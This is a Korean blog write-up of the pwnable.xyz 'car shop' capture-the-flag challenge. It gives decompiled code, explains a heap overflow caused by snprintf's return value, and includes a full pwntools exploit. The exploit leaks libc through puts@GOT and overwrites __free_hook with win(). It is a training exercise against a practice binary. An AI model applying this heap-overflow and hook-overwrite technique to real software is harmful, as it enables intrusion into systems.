tmxklab

[Pwnable.xyz] car shop 본문

War Game/Pwnable.xyz

[Pwnable.xyz] car shop

tmxk4221 2020. 9. 9. 22:32

1. 문제

nc svc.pwnable.xyz 30037

 

1) mitigation 확인

 

2) 문제 확인

  • 차를 구입하거나 판매, 리모델링, 출력해줄 수 있는 프로그램

 

3) 코드흐름 파악

3-1) buy()

int buy()
{
  int result; // eax
  unsigned int i; // [rsp+8h] [rbp-20h]
  signed int index; // [rsp+Ch] [rbp-1Ch]
  __int64 j; // [rsp+10h] [rbp-18h]
  _DWORD *car; // [rsp+18h] [rbp-10h]

  puts("Which car would you like to buy?");
  for ( i = 0; i <= 9; ++i )
    printf("%d: %s\n", i, *(&makes + i));
  printf("> ");
  index = readint();
  if ( index < 0 || index > 9 )
    return puts("Invalid");
  car = malloc(0x20uLL);
  *car = malloc(0x10uLL);
  car[2] = snprintf(*car, 0x10uLL, "%s", *(&makes + index));
  *(car + 2) = 0LL;
  *(car + 3) = 0LL;
  if ( Head )
  {
    for ( j = Head; *(j + 16); j = *(j + 16) )
      ;
    *(j + 16) = car;
    result = car;
    *(car + 3) = j;
  }
  else
  {
    result = car;
    Head = car;
  }
  return result;
}
  • car에 대한 청크를 생성하여 정보를 저장하고 Head(전역변수)에 car 청크의 주소를 넣는 것 같다.
  • 그리고 차를 더 사면 double linked list형식으로 들어가는 것 같다.
  • 이따가 청크 구조를 자세히 살펴보자

 

3-2) sell()

void sell()
{
  int *car; // [rsp+0h] [rbp-18h]
  char *car_name; // [rsp+8h] [rbp-10h]

  if ( Head )
  {
    printf("Which car would you like to sell: ");
    car_name = readline();
    for ( car = Head; car; car = *(car + 2) )
    {
      if ( !strcmp(*car, car_name) )
      {
        if ( *(car + 3) )
          *(*(car + 3) + 16LL) = *(car + 2);
        if ( *(car + 2) )
          *(*(car + 2) + 24LL) = *(car + 3);
        if ( car == Head )
        {
          Head = *(car + 2);
          if ( Head )
            *(Head + 24) = 0LL;
        }
        memset(*car, 0, car[2]);
        memset(car, 0, 0x20uLL);
        free(*car);
        free(car);
      }
    }
    free(car_name);
  }
  else
  {
    puts("No cars");
  }
}
  • 판매하려는 차에 대한 청크를 제거하기 위해 double linked list구조에서 unlink하고 free하는 과정이다.

 

3-3) remodel()

void remodel()
{
  __int64 car; // [rsp+8h] [rbp-20h]
  char *car_name; // [rsp+10h] [rbp-18h]
  void *new_name; // [rsp+18h] [rbp-10h]

  printf("Which car would you like to remodel: ");
  car_name = readline();
  for ( car = Head; car; car = *(car + 16) )
  {
    if ( !strcmp(*car, car_name) )
    {
      printf("Name your new model: ");
      new_name = readline();
      *(car + 8) = snprintf(*car, *(car + 8), "%s", new_name);
      free(new_name);
      break;
    }
  }
  free(car_name);
}
  • 보유하고 있는 차 이름을 변경하는 것 같다.

 

3-4) list()

__int64 list()
{
  __int64 result; // rax
  _QWORD *car; // [rsp+8h] [rbp-10h]

  puts("Car collection:");
  result = Head;
  for ( car = Head; car; car = car[2] )
  {
    printf(&byte_40117B, *car);
    result = car[2];
  }
  return result;
}
  • 보유하고 있는 차 이름을 출력해주는 과정이다.

 


2. 접근방법

 

먼저, 차를 3대 샀을 때 청크 구조를 확인해보겠다.

  • Head에는 double linked list의 첫 번째 청크의 주소가 있다.
  • car_info[0] : car_name chunk → "car name"
  • car_info[1] : length "car name"
  • car_info[2] : fd, car_info[3] : bk

 

1) remodel() → snprintf()

처음에 buy()를 통해서 차를 구입하면 car_info[1]에 "car name"의 size값이 저장되어 있다. 이후에 remodel()를 통해서 car name을 변경하고자 할 때

*(car + 8) = snprintf(*car, *(car + 8), "%s", new_name);

new_name에 있는 값을 car_info[1]의 크기만큼 car_info→car_name에 저장한다. 마지막으로 car_info[1]에는 snprintf의 리턴 값을 저장하게 된다.

snprintf는 지정된 변수로 출력이 되어 입력 문자열 즉, 버퍼에 포맷에 맞춰 파싱되서 저장된다. 그리고 sprintf와 달리 size값을 지정하여 출력된 문자열에서 size-1만큼 버퍼에 저장되고 문자열 끝에는 널 값이 들어간다.

마지막으로 리턴 값은 출력된 문자열 즉, 여기서는 new_name의 길이이다.

 

따라서 위 로직에서 만약 new_name에 "A"*0x100만큼 넣는다면 car_name청크에는 당연히 size만큼 알맞게 들어가지만 문자열의 길이를 저장하는 car_info[1]에는 출력된 문자열의 길이인 0x100이 저장된다.

 

 

확인)

  • car name은 "BMW"이며 기존의 name size는 0x3

  • snprintf()수행 이후에 return값은 출력된 문자열의 길이인 0x10

 

현재 mitigation에 full RELRO가 걸려있어 got overwrite는 불가능하므로 __free_hook에 win()를 넣는 것으로 진행하겠다.

그러기 위해선 먼저 libc_base주소를 릭해야하므로 puts@got값을 넣고 출력하도록 하겠다.

  • size값이 조절가능하므로 remodel()를 통해 값을 넣을 수 있다.
  • 0x1973060에 puts@got값을 넣었으니 저거를 출력하면 puts() 주소를 구할 수 있고 libc base주소를 구할 수 있다.

 

그리고 car_info[0]에 존재하는 car_name청크 주소 대신에 __free_hook주소 넣고 다시 remodel하면 __free_hook에 win함수를 쓸 수 있다.

  • 원래 car_info[0]에 있던 car_name청크 자리에 __free_hook이 위치

 


3. 풀이

 

1) 익스코드

from pwn import *

context.log_level = "debug"

#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30037)
e = ELF("./challenge")
libc = ELF("./libc-2.23.so")
#libc = e.libc
#gdb.attach(p)

puts_got = e.got['puts']
puts_offset = libc.symbols['puts']
free_hook_offset = libc.symbols['__free_hook']
win_addr = e.symbols['win']

def buy(idx):
        p.sendlineafter("> ", str(1))
        p.sendlineafter("> ", str(idx))

def remodel(old, new):
        p.sendlineafter("> ", str(3))
        p.sendlineafter("remodel: ", old)
        p.sendlineafter("model: ", new)

buy(0)
buy(1)
buy(2)
buy(3)
buy(4)

# 1. car name -> puts@got
remodel("BMW", "A"*0x28)
remodel("AA", "A"*0x20  + p64(puts_got))

# 2. puts() leak
p.sendlineafter("> ", str(4))
p.recvuntil("\n")
p.recvuntil("\n")
p.recvuntil(": ")

puts_addr = u64(p.recv(6).ljust(8, '\x00'))
libc_base = puts_addr - puts_offset
free_hook_addr = libc_base + free_hook_offset

log.info("puts_addr : "+hex(puts_addr))
log.info("free hook : "+hex(free_hook_addr))

# 3. __free_hook -> win
remodel("Toyota", "A"*0x28)
remodel("AAAAA", "A"*0x20 + p64(free_hook_addr))
remodel('\x00', p64(win_addr))

p.interactive()

 

 

2) 실행결과

 

 


4. 몰랐던 개념

 

  • snprintf()의 return값

여태 snprintf()의 리턴 값이 버퍼에 저장되는 문자열의 길이인줄 알았는데 이번에 문제를 풀고 나서 리턴 값이 출력되는 버퍼의 문자열의 길이임을 알았다.

 

참고 : 

 

[C/C++] int 형 문자열로 변환하는법 총정리

int 형 숫자를 문자열로 변환하기 int 형을 char *로 변환하기 - sprintf 사용 방식 C/C++에는 sprintf라는 함수가 있다. printf와의 차이점은 printf의 경우 기본 출력인 모니터로 문자열이 출력된다는 것이��

cryptosalamander.tistory.com

 

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] door  (0) 2020.09.09
[Pwnable.xyz] child  (0) 2020.09.09
[Pwnable.xyz] words  (0) 2020.09.09
[Pwnable.xyz] notebook  (0) 2020.09.09
[Pwnable.xyz] nin  (0) 2020.09.09
Comments